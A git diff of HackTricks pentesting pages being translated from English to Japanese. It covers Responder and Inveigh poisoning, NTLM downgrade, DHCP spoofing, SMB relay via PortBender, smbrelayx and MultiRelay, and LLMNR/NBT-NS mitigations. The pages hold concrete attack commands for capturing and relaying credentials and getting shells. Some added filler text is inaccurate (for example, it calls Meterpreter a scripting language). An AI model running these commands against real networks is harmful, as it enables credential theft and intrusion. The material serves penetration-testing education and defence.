[**Responder**](https://github.com/lgandx/Responder) is installed in kali by default and the config file is located in \*\*`/etc/responder/Responder.conf` \*\* (here you can disable rogue servers) -* **Responder** will **print hashes out on screen** and **write** it to a **log** file per host located in the `/usr/share/responder/logs` directory. Hashes are saved in the format `(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt` -* You can find here Responder for **windows** [here](https://github.com/lgandx/Responder-Windows) -* Responder works in **ipv4** & **ipv6** +* [**Responder**](https://github.com/lgandx/Responder)は、kaliにデフォルトでインストールされており、設定ファイルは\*\*`/etc/responder/Responder.conf` \*\*にあります(ここでローグサーバーを無効にすることができます) +* **Responder**は**ハッシュを画面に表示**し、ホストごとに`/usr/share/responder/logs`ディレクトリにある**ログ**ファイルに書き込みます。ハッシュは`(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt`の形式で保存されます。 +* **Responder**の**Windows版**は[こちら](https://github.com/lgandx/Responder-Windows)で入手できます。 +* Responderは**IPv4**および**IPv6**で動作します。 -#### Responder Params - -Responder supports the following options: +#### Responderパラメータ +Responderは以下のオプションをサポートしています: ``` --version show program's version number and exit -h, --help show this help message and exit -A, --analyze Analyze mode. This option allows you to see NBT-NS, - BROWSER, LLMNR requests without responding. +BROWSER, LLMNR requests without responding. -I eth0, --interface=eth0 - Network interface to use, you can use 'ALL' as a - wildcard for all interfaces +Network interface to use, you can use 'ALL' as a +wildcard for all interfaces -i 10.0.0.21, --ip=10.0.0.21 - Local IP to use (only for OSX) +Local IP to use (only for OSX) -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed - Poison all requests with another IPv6 address than - Responder's one. +Poison all requests with another IPv6 address than +Responder's one. -e 10.0.0.22, --externalip=10.0.0.22 - Poison all requests with another IP address than - Responder's one. +Poison all requests with another IP address than +Responder's one. -b, --basic Return a Basic HTTP authentication. Default: NTLM -r, --wredir Enable answers for netbios wredir suffix queries. - Answering to wredir will likely break stuff on the - network. Default: False +Answering to wredir will likely break stuff on the +network. Default: False -d, --DHCP Enable answers for DHCP broadcast requests. This - option will inject a WPAD server in the DHCP response. - Default: False +option will inject a WPAD server in the DHCP response. +Default: False -D, --DHCP-DNS This option will inject a DNS server in the DHCP - response, otherwise a WPAD server will be added. - Default: False +response, otherwise a WPAD server will be added. +Default: False -w, --wpad Start the WPAD rogue proxy server. Default value is - False +False -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY - Upstream HTTP proxy used by the rogue WPAD Proxy for - outgoing requests (format: host:port) +Upstream HTTP proxy used by the rogue WPAD Proxy for +outgoing requests (format: host:port) -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file - retrieval. This may cause a login prompt. Default: - False +retrieval. This may cause a login prompt. Default: +False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) - authentication for the proxy. WPAD doesn't need to be - ON. This option is highly effective when combined with - -r. Default: False +authentication for the proxy. WPAD doesn't need to be +ON. This option is highly effective when combined with +-r. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and - earlier. Default: False +earlier. Default: False --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity. ``` -
Responder Params -* The `-A` flag puts us into **analyze mode**, allowing us to see NBT-NS, BROWSER, and LLMNR requests in the environment without poisoning any responses. -* We must always supply either an interface or an IP. -* `-wf` will start the WPAD rogue proxy server -* `-f` will attempt to fingerprint the remote host operating system and version -* Use the `-v` flag for increased verbosity (a lot of additional data printed to the console) -* Options such as `-F` and `-P` can be used to force NTLM or Basic authentication and force proxy authentication, but may cause a login prompt, so they should be used sparingly. -* The `-w` flag utilizes the built-in WPAD proxy server. This can be highly effective, especially in large organizations, because it will capture all HTTP requests by any users that launch Internet Explorer if the browser has [Auto-detect settings](https://docs.microsoft.com/en-us/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11) enabled. +* `-A`フラグは**解析モード**に入り、応答を毒化せずに環境内のNBT-NS、BROWSER、およびLLMNRリクエストを表示できます。 +* 必ずインターフェースまたはIPを指定する必要があります。 +* `-wf`はWPADローグプロキシサーバーを起動します。 +* `-f`はリモートホストのオペレーティングシステムとバージョンを指紋認識しようとします。 +* 追加のデータがコンソールに表示されるため、`-v`フラグを使用して冗長性を高めることができます。 +* `-F`や`-P`などのオプションを使用すると、NTLM認証や基本認証を強制したり、プロキシ認証を強制したりすることができますが、ログインプロンプトが表示される可能性があるため、注意して使用する必要があります。 +* `-w`フラグは組み込みのWPADプロキシサーバーを利用します。これは特に大規模な組織で非常に効果的であり、[Auto-detect settings](https://docs.microsoft.com/en-us/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11)が有効になっている場合、Internet Explorerを起動するユーザーのすべてのHTTPリクエストをキャプチャします。
-#### Running Responder - -To run default Responder behaviour you only have to execute: +#### Responderの実行 +デフォルトのResponderの動作を実行するには、次のコマンドを実行するだけです。 ```bash responder -I #Default conf responder -I -P -r -v #More chances but might break things ``` - -An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked** [**following this guide**](../../windows-hardening/ntlm/#ntlmv1-attack)**.** - +興味深いテクニックは、可能な場合にはレスポンダを使用してNTLM認証をダウングレードすることです。これにより、**NTLMv2ではなくNTLMv1のチャレンジとレスポンス**を**簡単にクラック**することができます[**このガイドに従って**](../../windows-hardening/ntlm/#ntlmv1-attack)**。** ```bash #Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788" responder -I --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade ``` - -By **default**, the **WPAD impersonation won't be executed**, but you can execute it doing: - +デフォルトでは、**WPADのなりすましは実行されません**が、次の手順で実行することができます: ```bash responder -I --wpad ``` - -You can also **resolve NetBIOS** requests with **your IP**. And create an **authentication proxy**: - +あなたのIPでNetBIOSリクエストを解決することもできます。そして、**認証プロキシ**を作成します: ```bash responder.py -I -Pv ``` +NTLMハッシュを傍受することはできませんが(通常はできません)、簡単にいくつかの**NTLMチャレンジとレスポンス**を取得し、たとえば_john_オプション`--format=netntlmv2`を使用して**クラック**することができます。 -You won't be able to intercept NTLM hashes (normally), but you can easily grab some **NTLM challenges and responses** that you can **crack** using for example _**john**_ option `--format=netntlmv2`. +Kaliのデフォルトの_Responder_インストールの**ログとチャレンジ**は`/usr/share/responder/logs`にあります。 -The **logs and the challenges** of default _**Responder**_ installation in kali can be found in `/usr/share/responder/logs` +#### Responder - DHCPポイズニング -#### Responder - DHCP Poisoning +WindowsはNetBIOS、WINS、WPAD設定など、いくつかのカスタムDHCPオプションを使用しています。ワークステーションがネットワーク設定を取得するためにDHCPリクエストを送信するとき、これらの追加の設定はDHCP応答に含まれ、簡単な接続性と名前解決を容易にします。 -Windows uses several custom DHCP options such as NetBIOS, WINS, WPAD settings. When a workstation sends a DHCP request to get its networking settings, these additional settings can be included in the DHCP answer to facilitate straightforward connectivity and name resolution. +DHCP応答のスプーフィングは、ワークステーションのネットワーク構成に干渉するため、中断なしで行うことは困難です。通常、ターゲットサブネットのDNSサーバー、スイッチ、ルーティングテーブル、ドメイン、ネットマスク、DHCPサーバーなどについて非常に良い知識が必要です。これらの設定に誤りがあると、ネットワークに中断が生じます。 -Spoofing DHCP responses with no disruption can be challenging since you're interfering with a workstation network configuration. Usually, you need to have very good knowledge of the target subnet, where is the DNS server, where is the switch, routing table, domain, netmask, DHCP server, etc. **Any mistake with these settings will result in disruption on the network.** - -However, spoofing DHCP answers has unique benefits. **It's definitely stealthier than ARP poisoning**; One unicast response is sufficient to permanently poison a victim's routing information, it's also common to see multiple DHCP servers operating on a network. Unicast DHCP answers are more complex to detect, a few switch provides security settings to prevent DHCP snooping, however those settings are not straightforward and are often misconfigured when enabled. - -> This attack is highly effective and gives you assured NTLMv1/2 hashes. +ただし、DHCP応答のスプーフィングには独自の利点があります。ARPポイズニングよりも**確実にステルス性があります**。ユニキャスト応答は、被害者のルーティング情報を永久にポイズンするために1つのユニキャスト応答が十分であり、ネットワーク上で複数のDHCPサーバーが動作していることもよくあります。ユニキャストDHCP応答は検出がより複雑であり、一部のスイッチはDHCPスヌーピングを防ぐためのセキュリティ設定を提供していますが、これらの設定は直感的ではなく、有効になっている場合にはしばしば誤って設定されています。 +> この攻撃は非常に効果的で、確実にNTLMv1/2ハッシュを提供します。 ```bash ./Responder.py -I eth0 -Pdv ``` +#### Responder - 認証情報のキャプチャ -#### Responder - Capturing credentials +Responderは、**指定されたプロトコルを使用してすべてのサービスをなりすます**ことができます。これらのプロトコルを使用してサービスにアクセスしようとするユーザーがいる場合、**彼はResponderに対して認証を試み**、Responderは「認証情報」(おそらくNTLMv2のチャレンジ/レスポンス)を**キャプチャ**することができます。 -Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" (most probably a **NTLMv2 Challenge/Response**): - -It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS. +NetNTLMv1へのダウングレードを試みるか、ESSを無効にすることも可能です。 ![](<../../.gitbook/assets/poison (1) (1) (1).jpg>) ### Inveigh - C#/PowerShell Responder -> Inveigh is a PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. +> Inveighは、Windowsシステムに制限されているペネトレーションテスター/レッドチーム向けのPowerShell ADIDNS/LLMNR/NBNS/mDNS/DNSスプーファーおよび中間者ツールです。 -[**Inveigh** ](https://github.com/Kevin-Robertson/Inveigh)was a PowerShell script, now it's a C# binary that has the same main features as Responder. There is a [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) \*\*\*\* that lists all parameters and usage instructions.\ -Another version can be found in [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero). +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh)は、PowerShellスクリプトでしたが、現在はC#バイナリとなり、Responderと同じ主な機能を備えています。[**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)には、すべてのパラメータと使用方法の説明がリストされています。\ +別のバージョンは[**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)で見つけることができます。 ![](../../.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png) -Or run it with more options: - +または、より多くのオプションを使用して実行することもできます: ```powershell Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y ``` - -Or run the C# version: - +または、C#バージョンを実行します: ```bash Inveigh.exe ``` +## NTLMリレーアタック -## NTLM Relay Attack +この攻撃は、内部ネットワーク上の**ターゲットマシン**に対して、**SMB認証セッション**をリレーします。認証セッションが**成功した場合**、自動的に**システムのシェル**に移行します。ただし、リレーされる認証は、リレーされたホストに**ローカル管理者アクセス権限を持つユーザー**から行われ、**SMB署名が無効**になっている必要があります。 -This attack relays **SMB authentication sessions** on an internal network to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**. Please, note that the relayed authentication must be from a **user which has Local Admin access to the relayed** host and **SMB signing must be disabled**. - -### 445 forward and tunneling +### 445ポートの転送とトンネリング {% hint style="warning" %} -If you can **introduce a machine inside the network** you can use any of the **tools** of the following section to perform a relay attack and you don't need to care about this. +ネットワーク内に**マシンを導入**できる場合は、以下のセクションの**ツール**のいずれかを使用してリレーアタックを実行し、これについては心配する必要はありません。 {% endhint %} -However, in red teams this isn't the case, in red teams you usually will need to **forward the traffic of the port 445 of a Windows machine to your machine** executing any of the following tools and then r**oute back the traffic of that tool through a proxy** to reach the machine to attack inside the internal. - -The tool [**PortBender**](https://github.com/praetorian-inc/PortBender) \*\*\*\* is a driver to **redirect** traffic destined for port **445 to another port** (e.g. 8445) that **we can bind**. It **requires local admin** access in order for the driver to be loaded. It makes sense to use `cd C:\Windows\System32\drivers` since this is where most Windows drivers go. +ただし、レッドチームでは通常、**Windowsマシンのポート445のトラフィックを自分のマシンに転送**し、次にそのツールのトラフィックを**プロキシを介してルーティング**して内部の攻撃対象マシンに到達する必要があります。 +ツール[**PortBender**](https://github.com/praetorian-inc/PortBender)は、ポート**445に向かうトラフィックを別のポート**(たとえば8445)に**リダイレクト**するためのドライバです。ドライバをロードするには、**ローカル管理者**アクセス権限が必要です。ほとんどのWindowsドライバが配置される場所である`cd C:\Windows\System32\drivers`を使用することが合理的です。 ```bash Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna) @@ -210,9 +192,15 @@ beacon> jobkill 0 beacon> rportfwd stop 8445 beacon> socks stop ``` - ### Metasploit +Metasploit is a powerful framework used for penetration testing and exploiting vulnerabilities in systems. It provides a wide range of tools and modules that can be used to carry out various hacking techniques. Metasploit allows hackers to identify and exploit vulnerabilities in target systems, gain unauthorized access, and perform post-exploitation activities. + +Metasploit is designed to be user-friendly and flexible, making it suitable for both beginners and experienced hackers. It supports multiple platforms and can be used to target various operating systems, applications, and network devices. + +The framework includes a comprehensive database of known vulnerabilities, which can be used to search for specific exploits. It also provides a scripting language called "Meterpreter" that allows hackers to automate tasks and create custom exploits. + +Metasploit is constantly updated with new exploits and modules, making it a valuable tool for hackers. However, it is important to note that the use of Metasploit for unauthorized activities is illegal and unethical. It should only be used for legitimate purposes, such as penetration testing and securing systems against potential threats. ```bash setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip set SRVHOST @@ -220,9 +208,18 @@ set SRVPORT 445 set SMBHOST run -j ``` - ### smbrelayx +smbrelayxは、SMBリレーアタックを実行するためのツールです。このツールは、攻撃者が中間者攻撃を使用して、SMBセッションをリレーすることができます。これにより、攻撃者は認証情報を盗み出したり、リモートシステムにアクセスしたりすることができます。 + +smbrelayxを使用すると、攻撃者は以下の手順で攻撃を実行することができます。 + +1. 攻撃者は、ターゲットネットワーク内のホストで実行されているSMBサービスを見つけます。 +2. 攻撃者は、smbrelayxを使用して、ターゲットホストと攻撃者の間でSMBセッションをリレーします。 +3. ターゲットホストは、攻撃者が提供する偽のSMBサーバーに接続しようとします。 +4. 攻撃者は、ターゲットホストから送信された認証情報をキャプチャし、リモートシステムにアクセスするために使用することができます。 + +smbrelayxは、中間者攻撃を実行するための強力なツールですが、悪用される可能性もあるため、正当な目的でのみ使用することが重要です。 ```bash python3 smbrelayx.py -t smb:// -smb2support --no-http-server --no-wcf-server # By default it will just dump hashes @@ -232,11 +229,9 @@ python3 smbrelayx.py -t smb:// -smb2support --no-http-server --no- # Attack through socks proxy proxychains python3 ntlmrelayx.py -t smb:// -smb2support --no-http-server --no-wcf-server ``` - ### MultiRelay -If you want to use **MultiRelay**, go to _**/usr/share/responder/tools**_ and execute MultiRelay (`-t -u `): - +**MultiRelay**を使用したい場合は、_**/usr/share/responder/tools**_に移動し、MultiRelay (`-t -u `)を実行します。 ```bash python MultiRelay.py -t -u ALL # If "ALL" then all users are relayed # By default a shell is returned @@ -245,82 +240,78 @@ python MultiRelay.py -t -u ALL -d #-d to dump hashes # Use proxychains if you need to route the traffic to reach the attacked ip ``` - ![](<../../.gitbook/assets/image (209).png>) -### Force NTLM Logins +### NTLMログインの強制 -In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how: +Windowsでは、特権アカウントを任意のマシンに認証させることができる場合があります。以下のページを読んで詳細を学びましょう。 {% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) {% endcontent-ref %} -## Solution +## 解決策 -### Disabling LLMNR +### LLMNRの無効化 -To disable LLMNR in your domain for DNS clients, open gpedit.msc.\ -Navigate to Computer Configuration->Administrative Templates->Network->DNS client.\ -Locate the option “Turn off multicast name resolution” and click “policy setting”: +DNSクライアントのドメインでLLMNRを無効にするには、gpedit.mscを開きます。\ +コンピュータの構成->管理用テンプレート->ネットワーク->DNSクライアントに移動します。\ +オプション「マルチキャスト名解決を無効にする」を見つけ、[ポリシー設定]をクリックします。 ![](../../.gitbook/assets/1.jpg) -Once the new window opens, enable this option, press Apply and click OK: +新しいウィンドウが開いたら、このオプションを有効にし、[適用]を押して[OK]をクリックします。 ![](../../.gitbook/assets/2.jpg) -### **Disabling NBT-NS** +### NBT-NSの無効化 -One option for disabling NBT-NS is to use DHCP scope options. +NBT-NSを無効にする方法の1つは、DHCPスコープオプションを使用することです。 -If using Microsoft's DHCP server, select the scope that you want to disable NBT-NS for. Right click “Scope Options” and click “Configure Options”. In the example below, the DHCP scope in which I want to disable NBT-NS for is 192.168.1.100. +MicrosoftのDHCPサーバーを使用している場合、NBT-NSを無効にするスコープを選択します。[スコープオプション]を右クリックし、[オプションの構成]をクリックします。以下の例では、NBT-NSを無効にしたいDHCPスコープは192.168.1.100です。 ![](../../.gitbook/assets/3.jpg) -In the Scope Options window, navigate to the advanced tab, change the drop down window to “Microsoft Windows 2000 Options”: +スコープオプションウィンドウで、[詳細]タブに移動し、ドロップダウンウィンドウを「Microsoft Windows 2000オプション」に変更します。 ![](../../.gitbook/assets/4.jpg) -Select the option “001 Microsoft Disable Netbios Option” from the list and change its value to “0x2”, click Apply and then OK: +リストから「001 Microsoft Disable Netbios Option」を選択し、その値を「0x2」に変更し、[適用]、[OK]をクリックします。 ![](../../.gitbook/assets/5.jpg) ### WPAD -To mitigate against the WPAD attack, you can add an entry for "wpad" in your DNS zone. Note that the DNS entry does not need to point to a valid WPAD server. As long as the queries are resolved, the attack will be prevented. +WPAD攻撃に対抗するために、DNSゾーンに「wpad」のエントリを追加することができます。DNSエントリは有効なWPADサーバーを指す必要はありません。クエリが解決される限り、攻撃は防止されます。 -### Multi-relay +### マルチリレー -1\. **Forcing SMB Signing on all local windows machines**. This setting will digitally sign each and every SMB session which forces both the client and server to verify the source of the packets before continuing. This setting is only enabled by default on Domain Controllers. The following articles from Microsoft detail these settings (which can be enabled through group policy), and how to implement them. +1\. **すべてのローカルWindowsマシンでSMB署名を強制する**。この設定により、すべてのSMBセッションにデジタル署名が付けられ、クライアントとサーバーはパケットの送信元を確認してから続行する必要があります。この設定はデフォルトでドメインコントローラーでのみ有効になっています。Microsoftの以下の記事では、これらの設定(グループポリシーを介して有効にできる)とその実装方法について詳しく説明しています。 [https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/](https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/) [https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always) -2\. **Reviewing and ensuring that the users on the local network can only remotely login to machines in which it is necessary**. For example: Sally can only log in to Sally’s workstation. If an attacker were to intercept Sally’s SMB Auth session, they could not relay the session to any workstations, rendering this method useless. +2\. **ローカルネットワークのユーザーが必要なマシンにのみリモートログインできるように確認する**。例えば、SallyはSallyのワークステーションにのみログインできるようにします。もし攻撃者がSallyのSMB認証セッションを傍受した場合、セッションを他のワークステーションに中継することはできず、この方法は無効になります。 -3\. **Restrict NTLM Authentication on the local network as much as possible**. This attack cannot take advantage of Kerberos authentication, so by limiting the amount of NTLM that’s occurring, this attack can be greatly hindered. There is information from Microsoft on making this happen, but be warned.. If Kerberos authentication fails for whatever reason, it generally falls back onto NTLM. If you disable it entirely, your network might grind to a halt. +3\. **ローカルネットワークでのNTLM認証を可能な限り制限する**。この攻撃はKerberos認証を利用することができないため、NTLMの発生量を制限することでこの攻撃を大幅に阻止することができます。Microsoftにはこれを実現するための情報がありますが、注意が必要です。もし何らかの理由でKerberos認証が失敗した場合、通常はNTLMにフォールバックします。完全に無効にすると、ネットワークが停止する可能性があります。 -4\. **Prevent unauthorised users on your network**. An insider threat will likely not be utilising an SMB Relay attack, as they already have network credentials. By beefing up your physical security policies, preventing rogue devices on the network with ACLs and MAC Filtering, and ensuring proper network segmentation, you can greatly limit the threat of this attack being performed. +4\. **ネットワーク上の不正なユーザーを防止する**。インサイダーの脅威はおそらくSMBリレーアタックを利用しないでしょう。なぜなら、既にネットワークの資格情報を持っているからです。物理的なセキュリティポリシーを強化し、ACLとMACフィルタリングによってネットワーク上の不正なデバイスを防止し、適切なネットワークセグメンテーションを確保することで、この攻撃の脅威を大幅に制限することができます。 -## References +## 参考文献 * [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/) -* **Images from:**\ - [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\ - [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\ - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\ - [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html) +* **画像の出典:**\ +[https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\ +[https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\ +[https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\ +[https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/ diff --git a/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md b/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md index 601c2370d..c8cd285d7 100644 --- a/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md +++ b/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md @@ -1,86 +1,79 @@ -# Spoofing SSDP and UPnP Devices with EvilSSDP +# EvilSSDPを使用したSSDPおよびUPnPデバイスのスプーフィング
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-**This post was copied from** [**https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/**](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) +**この記事は** [**https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/**](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) **からコピーされました** -## **Introduction** +## **はじめに** -### **What is SSDP?** +### **SSDPとは何ですか?** -SSDP or Simple Service Discovery Protocol is a network protocol designed for **advertisement and discovery of network services**. It can work without any DHCP or DNS Configuration. It was designed to be used in residential or small office environments. It uses UDP as the underlying transport protocol on **port 1900**. It uses the HTTP method NOTIFY to announce the establishment or withdrawal of services to a multicast group. It is the basis of the discovery protocol UPnP. +SSDPまたはSimple Service Discovery Protocolは、**ネットワークサービスの広告と検出**のために設計されたネットワークプロトコルです。DHCPやDNSの設定なしで動作することができます。これは、住宅や小規模オフィス環境で使用するために設計されました。UDPを基にしたトランスポートプロトコルである**ポート1900**を使用します。HTTPメソッドのNOTIFYを使用して、マルチキャストグループに対してサービスの確立または撤回をアナウンスします。これは、UPnPの検出プロトコルの基礎です。 -### **What are UPnP devices?** +### **UPnPデバイスとは何ですか?** -UPnP or Universal Plug and Play is a set of **networking protocols** that allows networked devices, such as personal computers, printers, Internet gateways, Wi-Fi access points, and mobile devices to **discover each other’s availability on the network** and establish network services for communications, data sharing, and entertainment. The UPnP architecture supports zero-configuration networking. A UPnP compatible device from any vendor can dynamically join a network, obtain an IP address, **announce its name, advertise or convey its capabilities** upon request, and learn about the presence and capabilities of other devices. +UPnPまたはUniversal Plug and Playは、**ネットワーキングプロトコルのセット**であり、パーソナルコンピュータ、プリンタ、インターネットゲートウェイ、Wi-Fiアクセスポイント、モバイルデバイスなどのネットワークデバイスが**ネットワーク上での相互の利用可能性を検出**し、通信、データ共有、エンターテイメントのためのネットワークサービスを確立することを可能にします。UPnPアーキテクチャはゼロ構成ネットワーキングをサポートしています。任意のベンダーのUPnP対応デバイスは、ネットワークに動的に参加し、IPアドレスを取得し、要求に応じて名前をアナウンスしたり、機能を広告したり、他のデバイスの存在と機能について学習することができます。 -### **Flow** +### **フロー** -The **UPnP** stack consists of **six layers**: addressing, discovery, description, control, eventing, and presentation. +**UPnP**スタックは、アドレッシング、検出、説明、制御、イベント、プレゼンテーションの**6つのレイヤー**で構成されています。 -In the addressing layer, UPnP-enabled systems try to get an IP address through **DHCP**. If that isn’t possible, they’ll **self-assign an address** from the 169.254.0.0/16 range (RFC 3927), a process known as AutoIP. - -Next is the discovery layer, in which the system searches for other devices on the network using the **Simple Service Discovery Protocol** (SSDP). The two ways to discover devices are **actively** and **passively**. When using the **active** method, UPnP-capable devices **send a discovery message** (called an **M-SEARCH request**) to the multicast address **239.255.255.250 on UDP port 1900.** We call this request HTTPU (HTTP over UDP) because it contains a header similar to the HTTP header. The M-SEARCH request looks like this: +アドレッシングレイヤーでは、UPnP対応システムは**DHCP**を介してIPアドレスを取得しようとします。それが不可能な場合、169.254.0.0/16範囲(RFC 3927)からアドレスを**自動割り当て**するプロセスであるAutoIPを使用します。 +次は検出レイヤーで、システムは**Simple Service Discovery 